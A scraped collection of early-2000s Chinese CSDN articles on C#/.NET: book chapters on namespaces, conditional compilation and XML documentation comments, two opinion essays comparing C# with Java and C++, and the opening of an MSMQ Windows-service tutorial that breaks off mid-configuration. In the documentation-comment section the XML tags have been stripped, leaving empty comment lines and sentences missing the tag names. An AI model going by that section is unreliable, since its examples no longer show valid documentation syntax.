DNS4.CP.MSFT.NET 207.46.138.11
DNS5.CP.MSFT.NET 207.46.138.12

8.2.3 增加多个类到名字空间
使WhoisLookup和RequestWebPage 类共存于同一个名字空间是多么的美妙。既然WhoisLookup已是名字空间的一部分，所以你只须使RequestWebPage 类也成为该名字空间的一部分。
必要的改变很容易被应用。你只需使用名字空间封装RequestWebPage 类就可以了：

namespace Presenting.CSharp
{
public class RequestWebPage
{
...
}
}

尽管两个类包含于两个不同的文件，但在编译后，它们都是相同名字空间的一部分：
csc /r:System.Net.dll /t:library /out:presenting.csharp.dll whois.cs webrequest.cs

你不必要按照名字空间的名字给DLL命名。然而，这样做会有助你更容易你记住，当编译一个客户应用程序时要引用哪一个库。

8.3 小结
在这一章中，你学到了如何构建一个可以在客户程序中使用的组件。最初，你不必关心名字空间，但后面第二个组件中介绍了该特性。名字空间在内外部均是组织应用程序的好办法。
C#中的组件很容易被构建，而且只要库和应用程序共存于相同的目录，你甚至不必进行特殊的安装。当要创建必须被多个客户使用的类库时，步骤就有所改变——而下一章将会告诉你为什么。


csdn_《.net编程先锋C#》第九章 配置和调度

《.net编程先锋C#》第九章 配置和调度
第九章 配置和调度
在上一章，你学到如何创建一个通用语言运行时（CLR）组件，且如何在一个简单的测试应用程序中使用它。虽然CLR组件就要准备装载了，但你还是应该思考以下技术之一：
。条件编译
。文档注释
。代码版本化

9.1 条件编译
没有代码的条件编译功能，我就不能继续工作。条件编译允许执行或包括基于某些条件的代码；例如，生成应用程序的一个查错（DEBUG）版本、演示（DEMO）版本或零售（RELEASE）版本。可能被包括或被执行的代码的例子为许可证代码、 屏幕保护或你出示的任何程序。
在C#中，有两种进行条件编译的方法：
。预处理用法
。条件属性
9.1.1 预处理用法
在C++中，在编译器开始编译代码之前，预处理步骤是分开的。在C#中，预处理被编译器自己模拟—— 没有分离的预处理。它只不过是条件编译。
尽管C#编译器不支持宏，但它具有必需的功能，依据符号定义的条件，排除和包括代码。以下小节介绍了在C#中受支持的各种标志，它们与在C++中看到的相似。
。定义符号
。依据符号排除代码
。引起错误和警告
9.1.1.1 定义符号
你不能使用随C#编译器一起的预处理创建“define 标志:符号:定义 ”宏，但是，你仍可以定义符号。根据某些符号是否被定义，可以排除或包括代码。
第一种定义符号的办法是在C#源文件中使用 #define标志：
#define DEBUG
这样定义了符号DEBUG，且范围在它所定义的文件内。请注意，必须要先定义符号才能使用其它语句。例如，以下代码段是不正确的：

using System;
#define DEBUG

编译器将标记上述代码为错误。你也可以使用编译器定义符号（用于所有的文件）：
csc /define:DEBUG mysymbols.cs
如果你想用编译器定义多种符号，只需用分号隔开它们：
csc /define:RELEASE;DEMOVERSION mysymbols.cs
在C#源文件中，对这两种符号的定义分为两行 #define 标志。
有时，你可能想要取消源文件中（例如，较大项目的源文件）的某种符号。可以用 #undef 标志取消定义：
#undef DEBUG
#define的“定义标志:符号: 定义”规则同样适用于#undef: 它的范围在自己定义的文件之内，要放在任何语句如using语句之前。
这就是全部有关用C#预处理定义符号和取消定义符号所要了解的知识。以下小节说明如何使用符号有条件地编译代码。

9.1.1.2 依据符号包括和排除代码
最重要的“if标志:符号:包括代码”方式的目的为，依据符号是否被定义，有条件地包括和排除代码。清单9.1 包含了已出现过的源码，但这次它依据符号被有条件地编译。

清单 9.1 利用 #if 标志有条件地包括代码

1: using System;
2:
3: public class SquareSample
4: {
5: public void CalcSquare(int nSideLength, out int nSquared)
6: {
7: nSquared = nSideLength * nSideLength;
8: }
9:
10: public int CalcSquare(int nSideLength)
11: {
12: return nSideLength*nSideLength;
13: }
14: }
15:
16: class SquareApp
17: {
18: public static void Main()
19: {
20: SquareSample sq = new SquareSample();
21:
22: int nSquared = 0;
23:
24: #if CALC_W_OUT_PARAM
25: sq.CalcSquare(20, out nSquared);
26: #else
27: nSquared = sq.CalcSquare(15);
28: #endif
29: Console.WriteLine(nSquared.ToString());
30: }
31: }

注意，在这个源文件中没有定义符号。当编译应用程序时，定义（或取消定义）符号：
csc /define:CALC_W_OUT_PARAM square.cs
根据“ if标志:符号:包括代码”的符号定义，不同的 CalcSquare 被调用了。用来对符号求值的模拟预处理标志为#if、 #else和 #endif。它们产生的效果就象C#相应的if 语句那样。你也可以使用逻辑“与”（&&）、逻辑“或”（¦¦）以及“否”（！）。它们的例子显示在清单9.2 中。

清单 9.2 使用#elif 在#if标志中创建多个分支

1: // #define DEBUG
2: #define RELEASE
3: #define DEMOVERSION
4:
5: #if DEBUG
6: #undef DEMOVERSION
7: #endif
8:
9: using System;
10:
11: class Demo
12: {
13: public static void Main()
14: {
15: #if DEBUG
16: Console.WriteLine("Debug version");
17: #elif RELEASE && !DEMOVERSION
18: Console.WriteLine("Full release version");
19: #else
20: Console.WriteLine("Demo version");
21: #endif
22: }
23: }

在这个“if标志:符号:包含代码”例子中，所有的符号都在C#源文件中被定义。注意第6行#undef语句增加的那部分。由于不编译DEBUG代码的DEMO版本（任意选择），我确信它不会被某些人无意中定义了，而且总当DEBUG被定义时，就取消DEMO版本的定义。
接着在第15~21行，预处理符号被用来包括各种代码。注意#elif标志的用法，它允许你把多个分支加到#if 标志。该代码运用逻辑操作符“&&”和非操作符“！”。也可能用到逻辑操作符“¦¦”，以及等于和不等于操作符。

9.1.1.3 引起错误并警告
另一种可能的“警告 标志错误 标志”预处理标志的使用，是依据某些符号（或根本不依据，如果你这样决定）引起错误或警告。各自的标志分别为 #warning和#error，而清单9.3 演示了如何在你的代码中使用它们。
清单 9.3 使用预处理标志创建编译警告和错误

1: #define DEBUG
2: #define RELEASE
3: #define DEMOVERSION
4:
5: #if DEMOVERSION && !DEBUG
6: #warning You are building a demo version
7: #endif
8:
9: #if DEBUG && DEMOVERSION
10: #error You cannot build a debug demo version
11: #endif
12:
13: using System;
14:
15: class Demo
16: {
17: public static void Main()
18: {
19: Console.WriteLine("Demo application");
20: }
21: }

在这个例子中，当你生成一个不是DEBUG版本的DEMO版本时，就发出了一个编译警告（第5行~第7行）。当你企图生成一个DEBUG DEMO版本时，就引起了一个错误，它阻止了可执行文件的生成。对比起前面只是取消定义令人讨厌的符号的例子，这些代码告诉你，“警告 标志错误 标志”企图要做的工作被认为是错误的。这肯定是更好的处理办法。
9.1.1.4 条件属性
C++的预处理也许最经常被用来定义宏，宏可以解决一种程序生成时的函数调用，而却不能解决另一种程序生成时的任何问题。这些例子包括 ASSERT和TRACE 宏，当定义了DEBUG符号时，它们对函数调用求值，当生成一个RELEASE版本时，求值没有任何结果。

当了解到宏不被支持时，你也许会猜测，条件功能已经消亡了。幸亏我可以报道，不存在这种情况。你可以利用条件属性，依据某些已定义符号来包括方法。：

[conditional("DEBUG")]
public void SomeMethod() { }

仅当符号DEBUG被定义时，这个方法被加到可执行文件。并且调用它，就象
SomeMethod();

当该方法不被包括时，它也被编译器声明。功能基本上和使用C++条件宏相同。
在例子开始之前，我想指出，条件方法必须具有void的返回类型，不允许其它返回类型。然而，你可以传递你想使用的任何参数。
在清单9.4 中的例子演示了如何使用条件属性重新生成具有C++的TRACE宏一样的功能。为简单起见，结果直接输出到屏幕。你也可以根据需要把它定向到任何地方，包括一个文件。

清单 9.4 使用条件属性实现方法

1: #define DEBUG
2:
3: using System;
4:
5: class Info
6: {
7: [conditional("DEBUG")]
8: public static void Trace(string strMessage)
9: {
10: Console.WriteLine(strMessage);
11: }
12:
13: [conditional("DEBUG")]
14: public static void TraceX(string strFormat,params object[] list)
15: {
16: Console.WriteLine(strFormat, list);
17: }
18: }
19:
20: class TestConditional
21: {
22: public static void Main()
23: {
24: Info.Trace("Cool!");
25: Info.TraceX("{0} {1} {2}","C", "U", 2001);
26: }
27: }

在Info类中，有两个静态方法，它们根据DEBUG符号被有条件地编译：Trace，接收一个参数，而TraceX则接收n个参数。Trace的实现直接了当。然而，TraceX实现了一个你从没有见过的关键字：params。
params 关键字允许你指定一个方法参数，它实际上接收了任意数目的参数。其类似C/C++的省略参数。注意，它必须是方法调用的最后一个参数，而且在参数列表中，你只能使用它一次。毕竟，它们的局限性极其明显。
使用params 关键字的意图就是要拥有一个Trace方法，该方法接收一个格式字符串以及无数个置换对象。幸好，还有一个支持格式字符串和对象数组的 WriteLine方法（第16行）。
这个小程序产生的哪一个输出完全取决于DEBUG是否被定义。当DEBUG符号被定义时，方法都被编译和执行。如果DEBUG不被定义，对Trace和TraceX的调用也随之消失。
条件方法是给应用程序和组件增加条件功能的一个真正强大的手段。用一些技巧，你就可以根据由逻辑“或”（¦¦）以及逻辑“与”(&&)连接起来的多个符号，生成条件方法。然而，对于这些方案，我想给你推荐C#文档。

9.2 在XML中的文档注释
很多程序员根本不喜欢的一项任务就是写作，包括写注释和写文档。然而，有了C#，你就找到改变老习惯的好理由：你可以用代码的注释自动生成文档。
由编译器生成的输出结果是完美的XML。它可以作为组件文档的输入被使用，以及作为显示帮助并揭示组件内部细节的工具。例如， Visual Studio 7 就是这样一种工具。
这一节专门为你说明如何最好地运用C#的文档功能。该例子涉及的范围很广，所以你不能有这样的借口，说它过于复杂，以至很难领会如何加入文档注释。文档是软件极其重要的一部分，特别是要被其他开发者使用的组件的文档。
在以下小节中，文档注解用来说明RequestWebPage 类。我已分别在以下几小节中做出解释：
。描述一个成员
。添加备注和列表
。提供例子
。描述参数
。描述属性
。编译文档

9.2.1 描述一个成员
第一步，为一个成员添加一个简单的描述。你可以用 标签这样做：
/// This is ....

每一个文档注释起始于由三个反斜杠组成的符号“///”。你可以把文档注释放在想要描述的成员之前：

/// Class to tear a Webpage from a Webserver

public class RequestWebPage

使用和 标签，为描述添加段落。用标签引用其它已有了注释的成员。
/// Included in the class

增加一个链接到RequestWebPage类的描述。注意，用于标签的语法是XML语法，这意味着标签大写化的问题，而且标签必须正确地嵌套。
当为一个成员添加文档时，另一个有趣的标签是 。它允许你描述可能使读者非常感兴趣的其它话题。

///

前面的例子告诉读者，他可能也想查阅System.Net 名字空间的文档。你一定要给超出当前范围的项目规定一个完全资格名。
作为许诺，清单9.5 包含 RequestWebPage类中正在工作的文档的所有例子。看一下如何使用标签以及嵌套如何为组件产生文档。

清单 9.5 利用 , , , and 标签描述一个成员

1: using System;
2: using System.Net;
3: using System.IO;
4: using System.Text;
5:
6: /// Class to tear a Webpage from a Webserver
7: public class RequestWebPage
8: {
9: private const int BUFFER_SIZE = 128;
10:
11: /// m_strURL stores the URL of the Webpage
12: private string m_strURL;
13:
14: /// RequestWebPage() is the constructor for the class
15: /// when called without arguments.
16: public RequestWebPage()
17: {
18: }
19:
20: /// RequestWebPage(string strURL) is the constructor for the class
21: /// when called with an URL as parameter.
22: public RequestWebPage(string strURL)
23: {
24: m_strURL = strURL;
25: }
26:
27: public string URL
28: {
29: get { return m_strURL; }
30: set { m_strURL = value; }
31: }
32:
33: /// The GetContent(out string strContent) method:
34: /// Included in the class
35: /// Uses variable
36: /// Used to retrieve the content of a Webpage. The URL
37: /// of the Webpage (includinghttp://) must already be
38: /// stored in the private variable m_strURL.
39: /// To do so, call the constructor of the RequestWebPage
40: /// class, or set its property to the URL string.
41: ///
42: ///
43: ///
44: ///
45: ///
46: ///
47: ///
48: ///
49:
50: public bool GetContent(out string strContent)
51: {
52: strContent = "";
53: // ...
54: return true;
55: }
56: }

9.2.2 添加备注和列表
标签是规定大量文档的地方。与之相比， 只仅仅规定了成员的简短描述。
你不限于只提供段落文本（使用标签）。例如，你可以在备注部分包含bulleted（和有限偶数）列表（list)：

///
/// Constructor
/// or
///
///
///

这个list有一项（item），且该item引用了两个不同的构造函数描述。你可以根据需要，任意往list item中添加内容。
另一个在备注部分很好用的标签是。例如，你可以用来引用和描述传递给构造函数的参数：

/// Stores the URL from the parameter /// in
/// the private variable .
public RequestWebPage(string strURL)

在清单9.6中，你可以看到所有的这些以及前面的标签正在起作用。

清单9.6 为文档添加一个备注和bullet list

1: using System;
2: using System.Net;
3: using System.IO;
4: using System.Text;
5:
6: /// Class to tear a Webpage from a Webserver
7: /// The class RequestWebPage provides:
8: /// Methods:
9: ///
10: /// Constructor
11: /// or
12: ///
13: ///
14: ///
15: ///
16: /// Properties:
17: ///
18: ///
19: ///
20: ///
21: ///
22: ///
23: ///
24: public class RequestWebPage
25: {
26: private const int BUFFER_SIZE = 128;
27:
28: /// m_strURL stores the URL of the Webpage
29: private string m_strURL;
30:
31: /// RequestWebPage() is the constructor for the class
32: /// when called without arguments.
33: public RequestWebPage()
34: {
35: }
36:
37: /// RequestWebPage(string strURL) is the constructor for the class
38: /// when called with an URL as parameter.
39: /// Stores the URL from the parameter in
40: /// the private variable .
41: public RequestWebPage(string strURL)
42: {
43: m_strURL = strURL;
44: }
45:
46: /// Sets the value of .
47: /// Returns the value of .
48: public string URL
49: {
50: get { return m_strURL; }
51: set { m_strURL = value; }
52: }
53:
54: /// The GetContent(out string strContent) method:
55: /// Included in the class
56: /// Uses variable
57: /// Used to retrieve the content of a Webpage. The URL
58: /// of the Webpage (includinghttp://) must already be
59: /// stored in the private variable m_strURL.
60: /// To do so, call the constructor of the RequestWebPage
61: /// class, or set its property to the URL string.
62: ///
63: /// Retrieves the content of the Webpage specified in
64: /// the property and hands it over to the out
65: /// parameter .
66: /// The method is implemented using:
67: ///
68: /// The method.
69: /// The method.
70: /// The method
71: /// The method
72: /// The method
73: /// The property together with its
74: /// method
75: /// The method for the
76: /// object.
77: ///
78: ///
79: ///
80: public bool GetContent(out string strContent)
81: {
82: strContent = "";
83: // ...
84: return true;
85: }
86: }

9.2.3 提供例子
要想说明一个对象和方法的用法，最好的办法是提供优秀源代码的例子。因此，不要诧异文档注释也有用于声明例子的标签： and 。 标签包含了包括描述和代码的整个例子，而  标签仅包含了例子的代码（令人惊讶）。
清单9.7 说明如何实现代码例子。包括的例子用于两个构造函数。你必须给GetContent方法提供例子。

清单.7 利用例子解释概念

1: using System;
2: using System.Net;
3: using System.IO;
4: using System.Text;
5:
6: /// Class to tear a Webpage from a Webserver
7: ///  ...
8: public class RequestWebPage
9: {
10: private const int BUFFER_SIZE = 12


csdn_C#的前途如何？

C#的前途如何？
这世界上没有什么比编程工具更加牵动程序员的心。VC、VB、DELPHI、JAVA……这些耀眼的名字不仅占据了程序员的生活，而且似乎已经成为了某种信仰。可是，伴随着新世纪的脚步，这些信仰又一次遭遇了重大的挑战。微软，这头被法官和黑客们折腾得既疲惫又恼怒的狮子，发誓要保住它头上的王冠，拼尽全力，拿出了看家的本事——.NET战略。作为 .NET的核心开发语言，C# 顺理成章地浮出了水面。程序员们也就不得不做出一个痛苦的选择，跟在谁的后面？要找出答案就不得不作一番比较和预测。笔者作为一个资深的程序员，斗胆在此狂言，权作抛砖引玉。

如果抛开一切非技术方面的因素，C# 无疑是这个星球上有史以来最好的编程语言，它几乎集中了所有关于软件开发和软件工程研究的最新成果。面向对象、类型安全、组件技术、自动内存管理、跨平台异常处理、版本控制、代码安全管理……你不可能在另外的一种语言中找到所有这些特性。尽管像很多人注意到的一样，当我罗列上述特性时，总是让人想到JAVA，然而C# 确实走得更远。但现实的情况是，非技术的因素往往更能决定一个产品的未来，尤其在计算机软件的历史上，技术卓越的产品，如OS/2、Mac OS、UNIX等，都败在了Windows那漂亮的脸蛋儿下。而这一次，微软的角色好像从一个赤手空拳的革命者变成了仗势欺人的老地主，如果真是要变天，那C# 这孩子岂不是投错了胎？可能情形并非如此糟糕，毕竟瘦死的骆驼比马大，而且C# 已经提交给了一个标准化组织，一旦成了国际标准，说不准真有哪个手痒的大侠（也有可能是微软自己）给移植到Linux 和别的平台上。那样的话，JAVA可就惨了。因为JAVA的用户主要是网络服务的开发者和嵌入式设备软件的开发者，嵌入式设备软件不是C# 的用武之地，而在网络服务方面，C# 的即时编译和本地代码Cache方案比JAVA虚拟机具有绝对的性能优势。何况C# 一旦成为一个像C++ 一样的公共的标准，软件开发商既可以省去JAVA的许可证费用，也不必担心成为微软的奴隶，那些反微软的人士和主张厂商独立的人士可能也不会有什么意见。这可能正是微软所期待的。

如果把C# 和 JAVA 在网络服务领域的争夺比作未来制空权的争夺的话，那么C# 和传统通用快速开发工具——VB、DELPHI等的较量将是地地道道的白刃战。可能最惨的程序员就是VB程序员，在微软，VB就像离任的克林顿，不但失去了所有的光辉，而且乱事缠身。想想吧，VB6写的项目必须用转换工具转换成基于.NET的代码才能在VB7中调入，几乎面目全非。由于VB7遵循为迎合.NET而建立的通用语言规范（CLS），几乎把所有原来只在C++、JAVA等语言中可以运用的特性统统加了进来，只是语法和原来兼容。如果你是第一次在VB7中看到自己的旧VB6项目转换之后的代码，一定要当心你的心脏！所以，努力吧，别告诉我你将就此退休。DELPHI的状况也好不到哪里去，原来的看家本领是做起应用来又快又好，可现在看看最新的VS.NET Beta 1, 你会感到如此熟悉，众多的属性列表、组件……谁让你穷呢，连总设计师都养不住。

其实在编程语言中真正的霸主多年来一直是C++，所有的操作系统和绝大多数的商品软件都是用C++作为主要开发语言的。JAVA的程序员绝大多数也是C++的爱好者，PHP的成功里面也有类似C++的语法的功劳。在操作系统、设备驱动程序、视频游戏等领域，C++在很长的时间内仍将占据主要地位，而在数量最大的应用软件的开发上，C# 很可能取代C++的位置。首先，C# 和JAVA一样，简直就是照搬了C++的部分语法，因此，对于数量众多的C++程序员学习起来很容易上手，另外，对于新手来说，比C++要简单一些。其次，Windows是目前占垄断地位的平台，而开发Windows应用，当然微软的声音是不能忽略的。最重要的是，相对于C++，用C# 开发应用软件可以大大缩短开发周期，同时可以利用原来除用户界面代码之外的C++代码。

但是，C# 也有弱点。首先，在大量的现有Windows平台上，C# 的程序还不能运行，因为C# 程序需要 .NET运行库作为基础，而 .NET运行库将作为新一代的Windows（Whistler）的一部分发行， 或以Service Pack的形式提交给Windows Me 和 Windows 2000用户。所以在近期，C# 会主要在服务器上得到应用。其次，C# 能够使用的组件或库还只有 .NET 运行库等很少的选择，没有丰富的第三方软件库可用，这需要有一个过程，同时各软件开发商的支持也很重要。第三，JAVA的成功因素里有一些是反微软阵营的吹捧，虽然“只写一次，到处运行”只是一句口号，但毕竟已经是一种成熟的技术。而C# 的鼓吹者目前只有名声不佳的微软，且只能运行在Windows上。实际上这两种语言都不是不可替代的，理智的说，对软件开发商而言，什么用的最熟什么就是最好的工具。尤其对C++的使用者，C# 没有带来任何新东西，因为.NET运行库在C++中也可以使用，没有要换的绝对的理由。

综上所述，我个人认为，近几年，C# 将不可避免地崛起，在Windows平台上成为主角，而JAVA将在UNIX、Linux等平台上成为霸主，C++ 将继续在系统软件领域大展拳脚。非常有意思的是，这些语言的语法极其接近，因为JAVA和C# 都是由C++发展而来的。其他的开发工具当然还会在相当长的时间里继续他们的旅程，不过在市场份额上，将不可避免地受到冲击。


csdn_关于两代语言.C/C++,java/c#

关于两代语言.C/C++,java/c#
不要以为这个题目是耸人听闻,但就目前的形势来看c/c++是需要退出舞台或者说的婉转一点是需要更新换代了.
我想在未来的一两年里,作为程序员等级评判的标准之一c/c++(不管是mfc还是bcb)将会让位给三种编程语言,1.sun的java2.windows平台上的c#3.xml
为什么这么说呢,我认为最大理由是目前的应用程序正在从基于独立的操作系统,传向基于internet平台.
我们以前开发应用程序都是依赖于平台的功能调用,mfc,bcb都是这样.而现在日益火热的internet编程却最不想关心的就是某一个平台的调用,譬如说要实现b2b的电子商务那么就需要做不同平台的集成,如果我是程序员我最care的就是如何实现商务逻辑
而不是各种平台之间的通信和管理.那么我们最迫切需要的就是一种与各种平台调用无关的语言,这中语言只注重程序逻辑的设计而不涉及平台的调用.而我们熟悉的c/c++却恰恰不是为这个而设计的(赫赫这也不能怪c/c++在70年代谁能知道现在internet的情况呢).c/c++的最初设计目的是为了设计unix产生一种介于汇编和高级语言之间的一种开发高效而性能不低的语言.他要比其他任何高级语言都要关心系统的物理结构,譬如一直是毁誉搀半的指针.指针之所以强大就是应为涉及了系统物理内存的管理.他可以使得程序员和系统之间成为一种半透明状态.但是就是这种半透明的状态让指针带来了更多的不稳定性.
c/c++在面向Internet的编程中却无任何优势可言.跨平台的电子商务软件最害怕顾及各种平台之间的天差地别的系统调用,最害怕时不时的由于内存泄漏而crash.c/c++的优势在这里却成为了劣势.即使在windows平台上开发基于windows dna的solution
用的最多的还是vb做的dcom而不是vc的atl做的dcom,因为c/c++虽然高效但是太容易
出错,如果不是很小心的释放内存nt很快就会资源不足.
java就是最先看到这种情况,他用jvm实现了平台无关用内存回收实现了稳定健壮.但是相当多的c/c++程序员抱怨java太慢了.的确即使到java2速度仍然是一个大问题.我曾经是一个c/c++坚决拥护者在许多论坛里和java程序员打笔仗.但是我逐渐意识到面对与internet平台而不是特定的操作系统的时候java的速度问题往往是一个小小的瑕疵.我们可以想象那一个电子商务网站会用我们手头的pc做服务器,他们不是sun的e1000就是ibm的risc6000.在这种平台上java这点速度问题只是a peice of cake.程序员只需要专注与商务逻辑的编程,而不必要关心数组是否越界,对象内存是否释放更不需要关心是不是unix和windows的系统调用不一样.
微软的c#可以说是一种java与c/c++的杂合体,他可以回收内存,可以平台无关.但是
他又可以实现一些java没有的功能譬如在标记的程序段内用指针自己管理内存,可以实现操作符的重载等等.为什么要这样做我想也许c#还肩负了一定的面向操作系统开发的任务例如winform.他基本上的思想和java类似,但是实现的方法又不一样他不通过jvm解释中间代码,而是吧源代码编译成p代码然后通过CLS库和JIT在平台上及时编译为100%的本地代码来执行.他的pe代码是独立于平台的,但是cls和jit却根据不同的平台而设计.因此c#的平台独立有点类似于c/c++在不同平台上的移植使得c#比java来的更快.而且微软还许诺cls和jit不仅针对c#还可以针对任何语言譬如pascal,smaltalk,basic因此将来有可能所有的编程语言都是可以平台无关的(ms真是毒,所有的语言都平台无关java还有什么优势呢,据说ms正在开发基于pascal smaltalk的asp+).
xml很多人可能认为与html相类似的语言和c/c++,java,c#完全不在一个档次上的语言.其实不然.我们知道不管是c#还是java都是通过统一地层计算来实现平台无关.那就必须在性能上付出一点代价.而xml却能够实现不同的语言之间的调用.譬如说一个网占用java用bean实现一个出货功能,另一个网站用dcom实现一个入库功能 .如果这个网站需要实现b2b,用一般的方式就是在他们之间写转换程序.而xml通过标记语言来描述各自的借口特性.两端通过解析xml文本来实现互相的调用,无需任何中间转换程序
只要一张xml文本就能实现bean和dcom之间的通讯(要说清楚其中的机理,需要很多xml概念如果有兴趣可以到msdn.microsoft.com/xml或者www.s3c.org去看看).目前ms的.net中最核心的技术soap就是完全基于xml的远过程调用.
介绍了那么多可能有点跑题,其实我最想说的就是21世纪的程序员应该从面向操作系统的传统方法中走出来,学习一点如何面向Internet平台编程的技术和概念.不要在无畏的那种c/c++工具好之类的地方争论.我想不出一两年不管是bcb还是mfc都要淘汰,
到那个时候要争论的不是bcb好还是mfc好而是c#好还是java好.至于xml那是不管sun和ms以至于世界任何大的IT公司包括Intel,hp都在奋力研究的技术,不学习可能就要被淘汰.至于c/c++可能就会沦落到现在汇编的地位在某些系统效能敏感的地方还能见得到.
如果是编程语言的初学者那么我建议学习java同时关注c#,他们首先比c/c++简单没有复杂的宏,指针,摸版等等让人摸不招头脑的概念.而且是完全面向对象,比c/c++的半调子面向对象清楚的多好学的多.(我推荐目前学习java,毕竟c#还没有发布而且刚发布的beta版的编译器要求高的吓人需要win2000 adv server没有128M内存的别想跑.话说回来c#和java一摸一样没有什么太大的区别学好了java将来的c#将会信手拈来)
对于目前的windows下的编程者来说学习mfc的价值还是有一点的但是不是太大.至少可以熟悉windows内在机理.但是我还是推荐关注一下c#将来的windows.net都是基于c#而不是mfc.而且c#要比mfc简单的多实现一个同样的windows桌面应用c#的开发速度是mfc的两到三倍而且几乎看不见性能的损失. visual studio 7.0中 vc将是一个次要的开发工具最主要的开发工具就是c#和vb7.0.至于borland我想是不可能不跟着ms走至少windows平台上是这样说不定明年就有一个c# builder出来作为borland的主打产品而不是c++builder了.说一句玩笑话wenny说不定很快会把这里变成www.c#help.net了


csdn_C#消息队列应用程序 -1

C#消息队列应用程序 -1
简介

    Microsoft近期推出一种用于生成集成应用程序的新平台——Microsoft
.NET框架。.NET 框架允许开发人员使用任何编程语言迅速生成和部署Web
服务和应用程序。Microsoft Intermediate Language （MSIL）和实时
（JIT ）编译器使这种不依赖语言的框架得以实现。

    与.NET框架同时面世的还有一种新的编程语言C#（读“C sharp”）。
C#是一种简单、新颖、面向对象和类型安全的编程语言。利用 .NET 框架
和 C# （除 Microsoft？ Visual Basic ？和 Managed C++之外），用户
可以编写功能强大的 Microsoft Windows？和 Web应用程序及服务。本文
提供了这样的一个解决方案，它的重点是 .NET 框架和 C# 而不是编程语
言。C#语言的介绍可以在“ C# 简介和概述（英文）”找到。

    近期的文章“MSMQ：可伸缩、高可用性的负载平衡解决方案（英文）”
介绍了一种解决方案，用于高可用性消息队列（MSMQ）的可伸缩负载平衡
解决方案体系结构。此解决方案中涉及了一种将 Windows服务用作智能消
息路由器的开发方案。这样的解决方案以前只有 Microsoft Visual C++
程序员才能实现，而 .NET 框架的出现改变了这种情况。从下面的解决方
案中，您可以看到这一点。

.NET 框架应用程序

    这里介绍的解决方案是一种用来处理若干消息队列的 Windows服务；
其中每个队列都是由多个线程进行处理（接收和处理消息）。处理程序使
用循环法技术或应用程序特定值（消息 AppSpecific属性）从目的队列列
表中路由消息，并使用消息属性来调用组件方法。（示例进程也属于这种
情况。）在后一种情况下，组件的要求是它能够实现给定的接口IWeb
Message要处理错误，应用程序需要将不能处理的消息发送到错误队列中。

    消息应用程序的结构与以前的活动模板库（ATL ）应用程序相似，它
们之间的主要不同在于用于管理服务的代码的封装和 .NET 框架组件的使
用。要创建Windows服务，.NET框架用户仅仅需要创建一个从 ServiceBase
（来自System.ServiceControl程序集）继承的类。这毫不奇怪，因为.NET
框架是面向对象的。

应用程序结构

    应用程序中主要的类是 ServiceControl ，它是从 ServiceBase继承
的。因而，它必须实现 OnStart和 OnStop 方法，以及可选的 OnPause和
OnContinue方法。事实上，类是在静态方法 Main 内构造的：

using System;
using System.ServiceProcess;

public class ServiceControl: ServiceBase
{
   // 创建服务对象的主入口点
   public static void Main()
   {
      ServiceBase.Run(new ServiceControl());
   }

   // 定义服务参数的构造对象
   public ServiceControl()
   {
      CanPauseAndContinue = true;
      ServiceName = "MSDNMessageService";
      AutoLog = false;
   }

   protected override void OnStart(string[] args) {...}
   protected override void OnStop() {...}
   protected override void OnPause() {...}
   protected override void OnContinue() {...}
}

    ServiceControl类创建一系列 CWorker对象，即，为需要处理的每个
消息队列创建 CWorker类的一个实例。根据定义中处理队列所需的线程数
目，CWorker 类依次创建了一系列的 CWorkerThread对象。CWorkerThread
类创建的一个处理线程将执行实际的服务工作。

    使用 CWorker和 CWorkerThread类的主要目的是确认服务控件 Start、
Stop、Pause 和 Continue 命令。因为这些进程必须是无阻塞的，命令操
作最终将在后台处理线程上执行。

    CWorkerThread 是一个抽象类，被 CWorkerThreadAppSpecific 、
CWorkerThreadRoundRobin 和 CWorkerThreadAssembly继承。这些类以不
同的方式处理消息。前两个类通过给另一队列发送消息来处理消息（其不
同之处在于确定接收队列路径的方式），最后一个类则使用消息属性来调
用组件方法。

    .NET 框架内部的错误处理是以基类 Exception为基础的。当系统引
发或捕获错误时，这些错误必须是从 Exception中导出的类。CWorker
ThreadException 类就是这样一种实现，它通过附加额外属性（用于定义
服务是否应继续运行）来扩展基类。

    最后，应用程序包含两种结构。这些值类型定义了辅助进程或线程的
运行时参数，以简化 CWorker和 CWorkerThread对象的结构。使用值类型
结构（而不是引用类型类）能够确保这些运行时参数维护的是数值（而不
是引用）。

IWebMessage 接口

    CWorkerThread 的实现之一是一个调用组件方法的类。这个名为
CWorkerThreadAssembly 的类使用 IWebMessage接口来定义服务和组件之
间的约定。

    与当前版本的 Microsoft Visual Studio？不同，C#接口可以在任何
语言中显式定义，而不需要创建和编译 IDL文件。C# IWebMessage接口的
定义如下：
public interface IWebMessage
{
   WebMessageReturn Process(string sMessageLabel, string sMessage
   Body, int iAppSpecific);
   void Release();
}

ATL 代码中的 Process 方法是为处理消息而指定的。Process 方法的返
回代码定义为枚举类型 WebMessageReturn：

public enum WebMessageReturn
{
   ReturnGood,
   ReturnBad,
   ReturnAbort
}

    枚举的定义如下：Good表示继续处理，Bad 表示将消息写入错误队列，
Abort 表示终止处理。Release 方法为服务提供了轻松清除类实例的途径。
因为仅在垃圾回收的过程中才调用类实例的析构函数，所以确保所有占用
昂贵资源（例如数据库连接）的类都有一个能够在析构之前被调用的方法，
用来释放这些资源，这是一种非常好的构思。

名称空间

    在这里先简单介绍一下名称空间。名称空间允许在内部和外部表示中
将应用程序组织成为逻辑元素。服务内的所有代码都包含在 MSDNMessage
Service.Service 名称空间内。尽管服务代码包含在若干文件中，但是由
于它们包含在同一名称空间中，因此用户不需要引用其他文件。

    由于 IWebMessage接口包含在 MSDNMessageService.Interface 名称
空间中，因此使用此接口的线程类具有一个接口名称空间。

服务类

    应用程序的目的是监视和处理消息队列，每一队列在收到消息时都执
行不同的进程。应用程序是作为 Windows服务来实现的。

ServiceBase 类

    如前所述，服务的基本结构是从 ServiceBase继承的类。重要的方法
包括 OnStart、OnStop、OnPause 和 OnContinue ，每一个替代方法都与
一个服务控制操作直接对应。OnStart 方法的目的是创建 CWorker对象，
而 CWorker类又创建 CWorkerThread对象，然后在该对象中创建执行服务
工作的线程。

    服务的运行时配置（以及 CWorker和 CWorkerThread对象的属性）是
在基于 XML的配置文件中维护的。它的名称与创建的 .exe 文件相同，但
带有一个 .cfg 后缀。配置示例如下：
〈?xml version="1.0"?〉
〈configuration〉
〈ProcessList〉
  〈ProcessDefinition
        ProcessName="Worker1"
        ProcessDesc="Message Worker with 2 Threads"
        ProcessType="AppSpecific"
        ProcessThreads="2"
        InputQueue=".\private$\test_load1"
        ErrorQueue=".\private$\test_error"〉
    〈OutputList〉
      〈OutputDefinition OutputName=".\private$\test_out11" /〉
